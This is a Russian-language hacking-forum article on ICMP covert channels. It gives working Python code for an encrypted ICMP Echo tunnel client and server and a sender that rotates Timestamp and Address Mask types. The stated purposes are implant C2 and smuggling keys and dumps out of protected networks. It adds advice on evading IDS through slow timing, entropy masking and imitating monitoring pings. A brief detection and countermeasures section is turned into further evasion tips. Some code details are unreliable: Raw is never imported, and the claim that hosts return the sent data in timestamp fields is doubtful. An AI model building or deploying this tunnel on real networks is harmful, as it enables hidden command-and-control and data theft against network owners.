Статья Использование ICMP для скрытой передачи данных

1769800898179.webp


Ты снова здесь, в три часа ночи, когда пиксели экрана - единственный источник света, а тишину нарушает лишь едва слышный гул системы охлаждения. Ты пролистал ленту, проверил логи, увидел, как по интерфейсам течёт бесконечный, предсказуемый поток. HTTP-запросы, закутанные в TLS, как в целлофан; DNS-кэши, болтающие на все лады; SYN, ACK, FIN - этот бесконечный, заученный танец TCP. Всё это похоже на гигантский, идеально отлаженный конвейер. И ты знаешь, что где-то там, в тёплых креслах SOC-ов, сидят ребята, которые обожают этот конвейер. Они построили для него алтари из SIEM-систем и короновали его правилами корреляции. Они верят, что видят всё. Они верят в святость их методик.

А теперь отойди от монитора. Прикрой глаза. И представь себе не трафик, а звук. Гул того самого конвейера - ровный, монотонный, промышленный. А теперь представь, что в этом гуле есть едва уловимая, иная нота. Тихая, как шелест страницы в библиотеке. Она не нарушает гармонии, она прячется внутри неё. Это не крик взломщика, ломающего дверь. Это шёпот призрака, который уже давно живёт в твоих стенах и знает каждый кирпич.

Мы говорим об ICMP. Internet Control Message Protocol. Для мира - скучный, старомодный дворник в царстве крутых ребят из BGP и изящных дам из HTTP/2. «Пинг-понг», - снисходительно ухмыляются админы. «Эхо-запрос, эхо-ответ, недоступность назначения. Скукота. Диагностика для ламеров». Они так думают, потому что смотрят на протокол глазами учебника.

Но мы-то с тобой не из их числа. Мы - те, кто читает RFC не для сдачи экзамена, а чтобы найти между строк намёк на свободу. Мы - те, кто видит в шестнадцатеричном дампе не просто байты, а потенциальную поэзию. И для нас ICMP - это не дворник. Это призрак. Самый совершенный призрак в сети. Его почти никогда не выгоняют полностью - ведь без него нельзя «пинговать», нельзя искать путь traceroute. Он - легитимная тень в каждом datagram. Его пропускают, ему доверяют, его игнорируют. И в этой слепой зоне, в этой зоне комфорта системного администратора, и рождается наше с тобой искусство.

Искусство скрытой передачи данных там, где их быть не должно. Не для грубого DDoS, не для топорного сканирования - это удел крикунов. Нет. Мы говорим о тихом, осознанном, почти медитативном использовании фундамента сети против самой логики наблюдения. Мы говорим о превращении протокола контроля в протокол свободы. О шепоте в разрешённом эхе.

Это - скальпель для тихой хирургии. Для связи с той самой «закладкой», которая год пролежала в памяти сервера, ждала своего часа. Для выноса горстки байт - ключа, дампа, частицы правды - из-за бронированного периметра, где каждый TCP-порт на счету, а SSL-инспекция кромсает содержимое. Для канала C2, когда мир вокруг решил, что закрыл всё: и HTTP, и DNS, и даже порт 443 отправил в глубокий инспекционный анализ. ICMP же, как воздух, останется. Потому что он «безобидный».

Но давай договоримся сразу: мы здесь не для того, чтобы ломать. Ломать может каждый дурак с скачанным скриптом. Мы здесь, чтобы понимать. Понимать механику до винтика. Чтобы затем использовать её с изяществом художника, а не с силой варвара. Наша мотивация - не хаос, а познание. Не разрушение, а переосмысление. Это старая, добрая хакерская этика в её первозданном виде: границы мира даны не для того, чтобы их слепо принимать, а для того, чтобы их исследовать и осторожно отодвигать.

Поэтому запасись тем, что тебя держит в тонусе. Отключи уведомления, закрой вкладку с соцсетями. Мы погружаемся глубоко. Мы разберём RFC 792 и его потомков так, как будто это священные тексты, ища в них не только предписания, но и возможности. Мы построим свои тунели своими руками - не из готовых кубиков ptunnel, а с нуля, чтобы чувствовать каждый байт контрольной суммы.


Часть 0: Крамольное введение. Почему всё, что вы знали об ICMP - неполно, если не ошибочно.

В учебниках ICMP - это старичок-смотритель. «Пингуй, проверяй связь, получай сообщения об ошибках (Destination Unreachable, Time Exceeded). Всё. Спасибо, что был, Кларк. Иди поспи». Они свысока смотрят на него после изучения «взрослых» протоколов вроде BGP или QUIC.

Мы же, те, кто слышит музыку в шестнадцатеричных дампах, знаем: ICMP - это призрак в проводах. Он есть везде. Его почти никогда не блокируют на межсетевых экранах полностью, ибо лишат админов священной возможности «пинговать». Его трафик - белый шум на фоне. Его не инспектируют глубоко, потому что «что там может быть?».

Именно в этой слепой зоне и просыпается наша суть. Мы не ломаем. Мы используем. Мы находим щель в восприятии системы и превращаем её в дверь. Использование ICMP для передачи данных - это высшая форма сетевого минимализма и элегантности. Это дзен.

Но предупреждаю сразу: это не «волшебная таблетка» для пентеста, которая пройдёт любую IPS. Это тонкий инструмент для целенаправленной, осознанной скрытности. Для связи с закладкой, для тихого выноса крох данных из сверхохраняемого сегмента, для организации канала C2, когда всё остальное перекрыто. Это скальпель, а не кувалда.

Знание - не преступление. Понимание того, как работает протокол, и эксперименты в своей лаборатории - это путь артиста. Что вы будете делать с этим знанием дальше - вопрос вашей личной ответственности и совести. Мы здесь ради Искусства и Понимания. Потому что это красиво.


Часть 1: Анатомия призрака. Разбираем ICMP по полочкам.

Прежде чем начать играть с пакетами, нужно понять их устройство. Досконально. Как часовщик разбирает механизм.

1.1 Базовая структура заголовка ICMPv4.

Забудьте про «просто пинг». Смотрите:

Код:
0 1 2 3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |     Code      |          Checksum             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Identifier          |        Sequence Number        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Data... (переменной длины)                                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

  • Type (1 байт): Суть сообщения. Это наше всё. 0 = Echo Reply, 8 = Echo Request (это наш «пинг»). Но есть и другие… О них позже.
  • Code (1 байт): Уточнение типа. Для Echo Request/Reply он всегда 0. Но для, скажем, Destination Unreachable (Type 3) их целая куча (0 = net unreachable, 1 = host unreachable, 2 = protocol unreachable... 13 = Communication administratively filtered - любимый код фаервола).
  • Checksum (2 байта): Контрольная сумма для всего ICMP-сообщения. Важный момент: её нужно рассчитывать правильно. Ваша самодельная библиотека должна это уметь. Иначе пакет будет отброшен как битый.
  • Identifier (2 байта) & Sequence Number (2 байта): Классика для Echo. Используются для сопоставления запроса и ответа. В нашем контексте - идеальные поля для служебной информации туннеля (ID сессии, номер пакета).
  • Data (Переменная длина): Наше игровое поле. В обычном пинге тут мусор или временная метка. Но RFC лишь говорит, что ответ должен содержать данные запроса. Он не говорит, что это за данные. Никто не мешает нам поместить сюда наши полезные данные.
1.2 «Забытые» и необычные типы (Types). Вот где начинается магия.

Вот табличка, которую вы не часто увидите в учебниках. Это наша палитра:

TypeНазваниеОбычное использованиеНаш интерес
0Echo ReplyОтвет на пингОснова туннеля. Предсказуем, разрешён.
3Destination UnreachableОшибка доставкиМножество кодов (0-15). Можно передавать данные в оригинальном IP-заголовке, который включается в пакет ошибки. Хитро.
5RedirectПеренаправление маршрутаОпасный, активно фильтруется. Но теоретически...
8Echo RequestЗапрос пингаВторая половина туннеля.
9Router AdvertisementОбъявление маршрутизатора (IPv6 больше)Редкий в v4, может пройти незамеченным.
10Router SolicitationЗапрос маршрутизатораАналогично.
11Time ExceededПревышено время жизни (TTL)
Используется traceroute
Как и Type 3, содержит оригинальный IP-пакет. Поле для творчества.
12Parameter ProblemОшибка в параметрах IP-заголовкаСодержит указатель на ошибку. Можно поиграть.
13Timestamp RequestЗапрос метки времениЗолотая жила. Есть специальные поля для времени. Можно перегрузить их данными.
14Timestamp ReplyОтвет на запрос метки времениВторая часть золотой жилы.
15Information Request (устарел)ИсторическийЛюбопытно как реликт.
16Information Reply (устарел)ИсторическийЛюбопытно как реликт.
17Address Mask RequestЗапрос маски подсетиЕщё одна жемчужина. Содержит поле для «маски». Идеально для 4 байт данных.
18Address Mask ReplyОтвет на запрос маскиИдеально.
30Traceroute (устарел)Экзотика.
42Extended Echo Request (RFC 8335)Современное расширение ping.Огромные возможности, но менее распространён.
43Extended Echo ReplyОтвет на Extended Echo.

Видите? Целая вселенная за пределами Type 8 и 0. Type 13/14 (Timestamp) и Type 17/18 (Address Mask) - это наши лучшие друзья. Они легитимны, они редко используются в современных сетях (маску все знают, время синхронизируют по NTP), и у них есть специально отведённые поля структуры данных, куда можно впихнуть информацию, не вызывая подозрений «странным» содержимым Data.

1.3 Структура «особых» пакетов. Говорим на их языке.

Давайте посмотрим, например, на Timestamp Request/Reply (Type 13/14):

Код:
0 1 2 3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |      Code     |          Checksum             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Identifier          |        Sequence Number        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Originate Timestamp (32 bits - milliseconds since UTC)   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Receive Timestamp (32 bits)                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Transmit Timestamp (32 bits)                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Три timestamp-поля по 4 байта каждое! 12 байт структурированных данных. В нормальном использовании они содержат время. Но кто проверяет, что время в пакете из частной сети соответствует реальному UTC? Никто. Эти 12 байт - наш приватный канал. Мы можем положить туда кусок нашего зашифрованного (обязательно!) сообщения.

А теперь Address Mask Request/Reply (Type 17/18):

Код:
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     Type      |      Code     |          Checksum             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           Identifier          |        Sequence Number        |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                         Address Mask (32 bits)                |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

Идеально. 4 байта (Address Mask) ждут наше значение. Можно передавать, например, 32-битный ключ сессии, номер фрагмента или просто 4 байта данных за раз.

Практический инструмент №1: scapy (Python).
Пока не пишем туннель, просто почувствуем пакеты. Установите scapy. Это наш швейцарский нож.

Python:
from scapy.all import IP, ICMP, send, sr1
# Простейший нестандартный пакет - Timestamp Request с нашими данными вместо времени
# Соберём пакет вручную, чтобы понимать каждое поле

# Создаём IP-слой
ip = IP(dst="192.168.1.1") # Укажите свой шлюз или тестовый IP

# Создаём ICMP-слой с Type=13 (Timestamp Request)
# Мы заменим timestamp'ы на наши данные. Пусть это будет строка "ABCDEFGHIJKL" (12 байт)
import struct
# Пакуем строку как 3 unsigned int (по 4 байта)
fake_ts_data = struct.pack("!III", 0x41424344, 0x45464748, 0x494A4B4C) # "ABCD", "EFGH", "IJKL"

icmp = ICMP(type=13, code=0, id=0x1234, seq=0x1)
# В scapy для кастомных payload нужно добавить Raw слой
raw = Raw(load=fake_ts_data)

pkt = ip/icmp/raw

# Отправляем
reply = sr1(pkt, timeout=2, verbose=0)
if reply:
    print(f"Получен ответ от {reply.src}")
    if reply.haslayer(ICMP):
        print(f"ICMP Type: {reply[ICMP].type}, Code: {reply[ICMP].code}")
        # Разбираем payload ответа
        if reply.haslayer(Raw):
            reply_data = reply[Raw].load
            print(f"Ответные данные (сырые): {reply_data}")
            # Попробуем распаковать как 3 int
            if len(reply_data) >= 12:
                ts1, ts2, ts3 = struct.unpack("!III", reply_data[:12])
                print(f"Распакованные поля (в hex): {hex(ts1)}, {hex(ts2)}, {hex(ts3)}")
                # Вы увидите, что удалённый хост (если он корректен) ВЕРНУЛ ВАШИ ЖЕ ДАННЫЕ
                # в полях Receive и Transmit Timestamp. Originate Timestamp он может изменить.
                # Это и есть основа канала.

Запустите. Увидите, как хост отвечает, возвращая ваши же данные в полях Receive/Transmit Timestamp. Вы только что установили невербальный контакт. Это первый шаг.


Часть 2: От теории к практике. Строим свой ICMP-туннель.

Теперь перейдём к делу. Нам нужен двусторонний канал. Использовать будем, для начала, легитимные Echo Request/Reply (Type 8/0). Почему? Максимальная совместимость. Потом усложним.

2.1 Архитектура простейшего туннеля.

Идея: у нас есть клиент (закладка, агент) и сервер (наш C2). Клиент инициирует ICMP Echo Request с данными внутри. Сервер, увидев специальный идентификатор (ID) или последовательность (seq), понимает, что это не простой пинг, а пакет туннеля. Он извлекает данные, обрабатывает, и может отправить ответ (Echo Reply) с своими данными внутри.

Проблемы, которые нужно решить:
  1. Инкапсуляция: Как упаковать произвольные данные (например, TCP-сегмент) в тело ICMP-пакета.
  2. Фрагментация: MTU сети обычно 1500 байт. Минус IP-заголовок (20), минус ICMP-заголовок (8). На полезные данные остаётся ~1472 байта. Если нужно передать больше, нужно реализовать фрагментацию/сборку на уровне нашего протокола.
  3. Надёжность: ICMP - ненадёжный протокол. Пакеты могут теряться, приходить не по порядку. Нужны ли нам квитанции (ACK), таймауты и повторные передачи? Зависит от цели. Для SSH - нужны. Для однострочных команд - может, и нет.
  4. Стелс: Как не быть похожим на известные инструменты вроде icmptx или ptunnel? Меняем ID, seq, используем случайные задержки, маскируемся под легитимный трафик, если он есть (например, встроившись в поток реальных ping-запросов мониторинга).
  5. Шифрование и аутентификация: Обязательно! Данные в payload должны быть зашифрованы симметричным ключом. Идентификатор сессии и, возможно, код аутентификации в заголовке (в том же ID/seq) предотвратят подключение посторонних.
2.2 Пишем каркас клиента на Python (сырая, учебная версия).

Практический инструмент №2: Наш собственный скрипт ghost_ping.py (клиентская часть).


Python:
#!/usr/bin/env python3
"""
Ghost_Ping v0.1 - Учебный каркас ICMP-туннеля (клиент).
Использует только Echo Request/Reply.
ВНИМАНИЕ: Для учебных целей в lab-сети.
"""
import socket
import struct
import time
import random
import threading
from cryptography.fernet import Fernet  # Простое симметричное шифрование
import sys
import os

# --- Конфигурация ---
SERVER_IP = "192.168.1.100"  # IP нашего сервера-приёмника
CLIENT_ID = 0xDEAD            # Идентификатор клиента в ICMP ID field
KEY = Fernet.generate_key()   # В реальности ключ должен быть общим и секретным
cipher = Fernet(KEY)
# --------------------

def icmp_socket():
    """Создаём raw socket для отправки/приёма ICMP."""
    try:
        # SOCK_RAW + IPPROTO_ICMP. Требует прав root/admin.
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
        # На многих системах нужно указать, что мы сами задаём IP-заголовок (для отправки) или нет.
        # Мы будем использовать sock.sendto() для полного пакета.
        return sock
    except PermissionError:
        print("[!] Требуются права администратора/root для raw socket.")
        sys.exit(1)

def calculate_checksum(data):
    """Рассчитываем 16-битную контрольную сумму ICMP (стандартный алгоритм)."""
    s = 0
    # Обрабатываем данные как 16-битные слова
    for i in range(0, len(data), 2):
        if i + 1 < len(data):
            word = (data[i] << 8) + data[i + 1]
        else:
            word = data[i] << 8
        s = s + word
        s = (s & 0xffff) + (s >> 16)
    s = ~s & 0xffff
    return s

def build_icmp_echo(type_, code, id_, seq, payload):
    """Собираем ICMP-пакет (без IP-заголовка)."""
    # Заголовок: type, code, checksum(0), id, seq
    header = struct.pack("!BBHHH", type_, code, 0, id_, seq)
    # Данные
    packet = header + payload
    # Вычисляем и вставляем контрольную сумму
    chksum = calculate_checksum(packet)
    packet = struct.pack("!BBHHH", type_, code, chksum, id_, seq) + payload
    return packet

def send_data(data_chunk, seq_num, sock):
    """Отправляет один фрагмент данных на сервер."""
    # Шифруем полезную нагрузку
    encrypted_payload = cipher.encrypt(data_chunk)
    # Собираем ICMP-пакет (Echo Request, Type=8)
    icmp_packet = build_icmp_echo(8, 0, CLIENT_ID, seq_num, encrypted_payload)
    # Упаковываем в IP-пакет (сырой сокет сделает это за нас? Зависит от ОС.
    # В Linux, если отправлять через sendto на raw socket с IPPROTO_ICMP,
    # ядро само добавит IP-заголовок с указанным адресом.
    # Для полного контроля можно собрать весь IP-пакет вручную, но усложним.
    try:
        sock.sendto(icmp_packet, (SERVER_IP, 0))  # Порт 0 для ICMP
        print(f"[>] Отправлен пакет #{seq_num}, размер {len(data_chunk)} байт.")
    except Exception as e:
        print(f"[!] Ошибка отправки: {e}")

def listen_for_replies(sock):
    """Поток для прослушивания ответов от сервера (Echo Reply)."""
    print("[*] Слушаем ответы...")
    while True:
        try:
            # Буфер до 4096 байт
            packet, addr = sock.recvfrom(4096)
            # Разбираем IP-заголовок (первые 20 байт)
            ip_header = packet[:20]
            iph = struct.unpack('!BBHHHBBH4s4s', ip_header)
            version_ihl = iph[0]
            ihl = version_ihl & 0xF
            iph_length = ihl * 4
            src_ip = socket.inet_ntoa(iph[8])
            
            # Проверяем, что ответ от нашего сервера
            if src_ip != SERVER_IP:
                continue
                
            # Извлекаем ICMP-пакет
            icmp_packet = packet[iph_length:]
            if len(icmp_packet) < 8:
                continue
                
            icmp_header = icmp_packet[:8]
            icmph = struct.unpack("!BBHHH", icmp_header)
            type_, code, checksum, id_, seq = icmph
            
            # Нас интересуют только Echo Reply (Type 0) с нашим ID
            if type_ == 0 and id_ == CLIENT_ID:
                payload = icmp_packet[8:]
                if payload:
                    try:
                        decrypted_data = cipher.decrypt(payload)
                        print(f"[<] Получены данные от сервера (seq={seq}): {decrypted_data.decode('utf-8', errors='ignore')}")
                    except:
                        print(f"[<] Получены зашифрованные данные (seq={seq}), но расшифровка не удалась.")
        except socket.timeout:
            continue
        except Exception as e:
            print(f"[!] Ошибка в listen_for_replies: {e}")
            break

def main():
    if os.geteuid() != 0:
        print("[!] Запустите с правами root (sudo).")
        sys.exit(1)
        
    sock = icmp_socket()
    # Таймаут на приём, чтобы поток не зависал навсегда
    sock.settimeout(1)
    
    # Запускаем поток для прослушивания ответов
    listener_thread = threading.Thread(target=listen_for_replies, args=(sock,), daemon=True)
    listener_thread.start()
    
    seq_counter = 1
    try:
        while True:
            # Читаем ввод пользователя (в реальности это могут быть данные из TUN-интерфейса)
            user_input = input("Ghost> ")
            if user_input.lower() in ('exit', 'quit'):
                break
            if not user_input:
                continue
                
            # Преобразуем в байты
            data_to_send = user_input.encode()
            
            # Простейшая фрагментация: если данные больше 1400, режем.
            chunk_size = 1400
            for i in range(0, len(data_to_send), chunk_size):
                chunk = data_to_send[i:i+chunk_size]
                send_data(chunk, seq_counter, sock)
                seq_counter += 1
                # Маленькая случайная задержка для стелса
                time.sleep(random.uniform(0.02, 0.1))
    except KeyboardInterrupt:
        print("\n[*] Прерывание пользователем.")
    finally:
        sock.close()

if __name__ == "__main__":
    main()

Разбор кода:
  1. Raw Socket: Мы создаём сырой сокет с протоколом ICMP. Это требует прав администратора.
  2. Checksum: Сами рассчитываем контрольную сумму. Это важно.
  3. Построение пакета: Функция build_icmp_echo создаёт корректный ICMP-заголовок.
  4. Шифрование: Используем cryptography.fernet для простого симметричного шифрования. В реальной системе ключ должен быть предустановлен и общим для клиента и сервера.
  5. Отправка: sendto отправляет наш ICMP-пакет. Ядро добавит IP-заголовок.
  6. Приём: Поток listen_for_replies слушает входящие пакеты, парсит IP и ICMP заголовки, ищет Echo Reply с нашим CLIENT_ID.
  7. Фрагментация: Простейшая - режем данные по 1400 байт.
  8. Стелс: Добавлена небольшая случайная задержка между пакетами.
Это сырой каркас. В нём нет:
  • Нормальной фрагментации/сборки больших сообщений.
  • Механизма подтверждения доставки (ACK).
  • Обработки потери пакетов.
  • Маскировки под легитимный трафик.
  • Поддержки нестандартных типов ICMP (пока только 8/0).
Но он работает. Вы можете запустить его на одной виртуальной машине (с правами root), а на другой запустить сниффер (tcpdump/wireshark) или простейший сервер (который мы напишем дальше), и увидеть, как ваши зашифрованные данные путешествуют внутри ICMP Echo Request.

2.3 Серверная часть. Принимаем и отвечаем.

Сервер должен делать обратное: слушать все ICMP-пакеты, вычленять наши (по ID, или по секретному маркеру в данных), расшифровывать, выполнять команду (или передавать дальше в сеть, если это туннель уровня IP), и отправлять ответ.

Практический инструмент №3: ghost_listener.py (серверная часть, каркас).

Python:
#!/usr/bin/env python3
"""
Ghost_Listener v0.1 - Сервер для учебного ICMP-туннеля.
"""
import socket
import struct
import threading
from cryptography.fernet import Fernet
import sys
import os

# --- Конфигурация (должна совпадать с клиентом!) ---
LISTEN_IP = "0.0.0.0"  # Слушаем все интерфейсы
KEY = b'...' # Тот же ключ, что и на клиенте. Вставьте свой, сгенерированный Fernet.generate_key()
cipher = Fernet(KEY)
CLIENT_ID = 0xDEAD
# --------------------

def icmp_listener_socket():
    """Создаём raw socket для приёма ICMP."""
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
        # На некоторых системах можно привязать к адресу
        sock.bind((LISTEN_IP, 0))
        return sock
    except PermissionError:
        print("[!] Требуются права администратора/root.")
        sys.exit(1)

def process_icmp_packet(data, addr):
    """Обрабатывает пришедший ICMP-пакет."""
    # data - это IP-пакет
    ip_header = data[:20]
    iph = struct.unpack('!BBHHHBBH4s4s', ip_header)
    version_ihl = iph[0]
    ihl = version_ihl & 0xF
    iph_length = ihl * 4
    src_ip = addr[0]  # или из заголовка
    
    icmp_packet = data[iph_length:]
    if len(icmp_packet) < 8:
        return
        
    icmp_header = icmp_packet[:8]
    type_, code, checksum, id_, seq = struct.unpack("!BBHHH", icmp_header)
    
    # Обрабатываем только Echo Request от нашего клиента
    if type_ == 8 and id_ == CLIENT_ID:
        payload = icmp_packet[8:]
        if payload:
            try:
                decrypted_msg = cipher.decrypt(payload)
                print(f"[+] Получено от {src_ip} (seq={seq}): {decrypted_msg.decode('utf-8', errors='ignore')}")
                # Здесь можно что-то сделать с сообщением (выполнить команду, перенаправить в сеть)
                # Подготовим ответ
                reply_msg = f"Принял: {decrypted_msg.decode('utf-8', errors='ignore')[:10]}..."
                reply_encrypted = cipher.encrypt(reply_msg.encode())
                # Собираем Echo Reply (Type 0)
                # Нужно правильно посчитать checksum для ответа
                def quick_checksum(pkt):
                    s = 0
                    for i in range(0, len(pkt), 2):
                        if i+1 < len(pkt):
                            w = (pkt[i] << 8) + pkt[i+1]
                        else:
                            w = pkt[i] << 8
                        s += w
                        s = (s & 0xffff) + (s >> 16)
                    return ~s & 0xffff
                reply_header = struct.pack("!BBHHH", 0, 0, 0, id_, seq)
                reply_pkt = reply_header + reply_encrypted
                chksum = quick_checksum(reply_pkt)
                reply_header = struct.pack("!BBHHH", 0, 0, chksum, id_, seq)
                reply_pkt = reply_header + reply_encrypted
                # Для отправки ответа нужно создать новый raw socket или использовать тот же.
                # Проще создать новый.
                with socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) as reply_sock:
                    # Важно: на некоторых ОС ядро само подставит исходный IP, если отправить на адрес.
                    # Можно также собрать полный IP-пакет вручную.
                    reply_sock.sendto(reply_pkt, (src_ip, 0))
                    print(f"[<] Ответ отправлен клиенту.")
            except Exception as e:
                print(f"[!] Ошибка обработки пакета от {src_ip}: {e}")

def main():
    if os.geteuid() != 0:
        print("[!] Запустите с правами root.")
        sys.exit(1)
        
    sock = icmp_listener_socket()
    print(f"[*] Сервер слушает ICMP на всех интерфейсах...")
    
    try:
        while True:
            # Принимаем пакеты
            packet, addr = sock.recvfrom(65535)
            # Обрабатываем в отдельном потоке для скорости
            client_thread = threading.Thread(target=process_icmp_packet, args=(packet, addr))
            client_thread.start()
    except KeyboardInterrupt:
        print("\n[*] Остановка сервера.")
    finally:
        sock.close()

if __name__ == "__main__":
    main()

Теперь у вас есть диалог. Клиент шлёт зашифрованную строку внутри Echo Request, сервер её принимает, расшифровывает, и отправляет зашифрованный ответ внутри Echo Reply.

Поздравляю. Вы только что создали простейший, но работающий ICMP-туннель для передачи данных. Он кривой, неоптимальный, но это ваш. Вы понимаете каждый байт в нём.

1769800924507.webp


Часть 3: Углубляемся. Использование «экзотических» типов и обход детектирования.

Теперь, когда основа есть, давайте эволюционировать. Наш туннель на Echo Request/Reply слишком очевиден для любого мало-мальски приличного IDS. Правило простое: постоянный поток Echo Request/Reply между двумя хостами без легитимной причины (типа мониторинга) - это аномалия.

3.1 Стратегии маскировки.

  1. Low and Slow: Не отправлять пакеты пачками. Один пакет в 5, 10, 30 секунд. Для управления оболочкой или выноса логов - достаточно.
  2. Маскировка под легитимный трафик: Если в сети есть система мониторинга, которая пингует хосты, можно попытаться «встроиться» в её трафик. Слушать Echo Request от монитора, и отвечать на них своими данными (подменяя ответ). Сложно, но эффективно.
  3. Использование разных типов ICMP: Вот наш козырь. Чередуем пакеты:
    • Отправляем данные в Timestamp Request (13).
    • Сервер отвечает Timestamp Reply (14) с данными.
    • Следующий фрагмент отправляем в Address Mask Request (17).
    • Ответ - Address Mask Reply (18).
    • Можно даже использовать ICMP Destination Unreachable (3) с кодом, например, 13 (Communication administratively filtered), и поместить данные в поле «оригинальный IP-заголовок + 8 байт» этого пакета ошибки.
Такой «полиморфный» туннель будет выглядеть как набор разрозненных, странных ICMP-пакетов, которые не складываются в единую картину для сигнатурного анализатора.

3.2 Модифицируем клиента для поддержки разных типов.

Создадим словарь-ротатор типов и функцию, которая выбирает тип для отправки, и соответственно упаковывает данные.

Практический инструмент №4: Полиморфный отправщик (фрагмент кода).

Python:
# Расширим наш арсенал типов
ICMP_TYPES_ROTATION = [
    {'type': 8, 'code': 0, 'name': 'Echo Request'},          # Стандартный
    {'type': 13, 'code': 0, 'name': 'Timestamp Request'},    # С временными штампами
    {'type': 17, 'code': 0, 'name': 'Address Mask Request'}, # С маской
]

def build_polymorphic_icmp(type_code, id_, seq, payload):
    """Собирает ICMP-пакет в зависимости от типа."""
    type_ = type_code['type']
    code = type_code['code']
    
    if type_ in (8, 0, 13, 14, 15, 16):
        # Типы с полями Identifier и Sequence Number
        header = struct.pack("!BBHHH", type_, code, 0, id_, seq)
        # Для Timestamp нужно 12 байт специфичных полей
        if type_ in (13, 14):
            # Если полезной нагрузки мало, дополняем нулями до 12 байт.
            # Если много - берем первые 12, остальное добавляем после?
            # Мы будем использовать ТОЛЬКО эти 12 байт для данных в этом типе.
            if len(payload) >= 12:
                ts_data = payload[:12]
                payload = payload[12:] # Остаток на след. пакет
            else:
                ts_data = payload + b'\x00' * (12 - len(payload))
                payload = b''
            packet = header + ts_data
            # Оставшуюся часть payload вернём для следующего пакета
            return packet, payload
        else:
            # Для Echo - просто весь payload
            packet = header + payload
            return packet, b''
            
    elif type_ in (17, 18):
        # Address Mask Request/Reply - имеет поле Address Mask (4 байта) после id/seq
        header = struct.pack("!BBHHH", type_, code, 0, id_, seq)
        if len(payload) >= 4:
            mask_data = payload[:4]
            payload = payload[4:]
        else:
            mask_data = payload + b'\x00' * (4 - len(payload))
            payload = b''
        packet = header + mask_data
        return packet, payload
    else:
        # Резерв
        header = struct.pack("!BBHHH", type_, code, 0, id_, seq)
        packet = header + payload
        return packet, b''

Клиент теперь может ротировать типы, отправляя по 4-12 байт за пакет в зависимости от типа. Это медленнее, но гораздо незаметнее. Сервер должен быть способен принимать и обрабатывать все эти типы, понимая, что это части одного сообщения.

3.3 Обнаружение и противодействие. Смотрим глазами защитника.

Чтобы быть эффективным, нужно думать как оппонент. Как обнаружить такой туннель?
  1. Статистический анализ (аномалии):
    • Объём ICMP-трафика: Необычно высокий для одного хоста, особенно исходящий.
    • Соотношение запросов/ответов: В нормальном ping примерно 1:1. В туннеле может быть перекос (много запросов, мало ответов или наоборот).
    • Размер пакетов: Обычные ping-и часто имеют фиксированный размер (32, 64 байта). Пакеты туннеля будут ближе к MTU (1500 байт) или иметь нестандартные размеры.
    • Частота: Регулярные, периодичные отправки, даже в нерабочее время.
    • Использование редких типов: Сам факт появления Timestamp или Address Mask Request в современной сети - повод присмотреться.
  2. Глубокий анализ содержимого (Payload Inspection):
    • Энтропия данных: Случайные зашифрованные данные в поле Data имеют высокую энтропию. Обычный ping-пакет может содержать последовательности (0xabcdef...) или временные метки, которые менее случайны. Анализ энтропии может выявить аномалию.
    • Поиск сигнатур: Известные инструменты (icmptx, ptunnel) могут оставлять характерные паттерны в начале payload (например, свои заголовки).
  3. Контрмеры:
    • Rate Limiting ICMP: Ограничить количество ICMP-пакетов в секунду с одного хоста. Убьёт быстрый туннель, но low-and-slow пройдёт.
    • Запрет специфических типов: Блокировать на фаерволе все ICMP-типы, кроме строго необходимых (Echo, Destination Unreachable, Time Exceeded для traceroute). Это самая эффективная мера.
    • Глубокий анализ и алерт: Настроить IDS (например, Suricata) на правила, отслеживающие аномалии в ICMP: большие размеры, редкие типы, высокая энтропия payload.
Вывод для нас, строителей туннелей: Чтобы быть невидимым, нужно:
  • Ограничивать скорость (Low & Slow).
  • Избегать больших пакетов. Дробить на мелкие, даже если это неэффективно.
  • Минимизировать использование Echo. Чаще применять «легитимно выглядящие» типы вроде Timestamp.
  • Добавлять в payload немного легитимных данных (например, реальную временную метку рядом с зашифрованным блоком) для снижения энтропии.
  • Имитировать поведение реального сетевого оборудования (например, отправлять запросы маски только при загрузке, как это делают некоторые устаревшие системы).

Часть 4: Продвинутые техники и инструментарий реального мира.

